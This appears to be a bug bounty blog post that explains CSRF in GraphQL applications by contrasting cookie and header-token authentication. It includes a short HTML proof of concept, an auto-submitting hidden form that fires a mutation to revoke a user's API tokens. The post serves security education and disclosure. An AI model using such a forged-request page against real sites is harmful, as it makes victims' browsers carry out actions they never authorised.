Finding CSRF on Graphql Application

7 months ago 62

BOOK THIS SPACE FOR AD

ARTICLE AD

Although GraphQL is often a preferred tool for data communication in modern web applications, there are security issues involved. One of these is Cross-Site Request Forgery (CSRF) attacks. A CSRF vulnerability allows an attacker to make unauthorized requests in a user’s browser, which can pose serious security risks.

Understanding Difference between Cookie and Authentication Token

Cookie Based Authentication

Cookies are small pieces of data stored in a user’s browser by websites they visit. These cookies contain session information, authentication tokens and other data necessary for the user to interact with the website. In the context of CSRF, cookies can be hijacked by attackers to perform unauthorized actions because they are automatically included in every request to the website’s domain.

Authorization Token Based Authentication

Authorization header tokens, often used in conjunction with APIs, provide a more secure method of authentication than cookies. These tokens are typically generated by the server upon successful authentication and included in the HTTP request headers. Unlike cookies, authorization header tokens are not automatically sent by the browser and must be explicitly included in each request.

Unlike cookies, authorization header tokens are less vulnerable to CSRF attacks because they are not automatically sent by the browser. However, both cookies and authorization header tokens can be vulnerable if proper security measures are not implemented, such as anti-CSRF tokens or same-side cookie attributes. Sending the CSRF token only in the cookie does not make the application secure, because if cookie-based authentication is to be used, an anit-csrf token must also be sent in the header, or authorizations must be made using the authorization header.

Testing Graphql for CSRF Vulnerability

Now that we have learned the differences between cookies and authorization tokens, we can look at how I found a CSRF vulnerability in graphql application. The vulnerability I found was in the user’s ability to create and delete an api token. This vulnerability allowed me to delete the api token created by the user. Example PoC under bellow:

<html>
<body>
<h1>DELETE API TOKEN CREATED BY THE USER</h1>
<form action="https://example.com/graphql/">
<input type="hidden" name="query" value="mutation RevokeApiTokens($names: [String!]!) {   RevokeApiTokens(names: $names)  }" />
<input type="hidden" name="variables" value="{"names":["wearehackerone"]}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

This vulnerability I found has been updated from high to critical. The reason I cannot give too much information about the vulnerability is that it has been disclosed as limited, the purpose of this article was to briefly explain the differences between cookie and auth token headers and understanding CSRF. I hope I have explained it in an understandable way, thanks for reading.

Bibliographies

Read Entire Article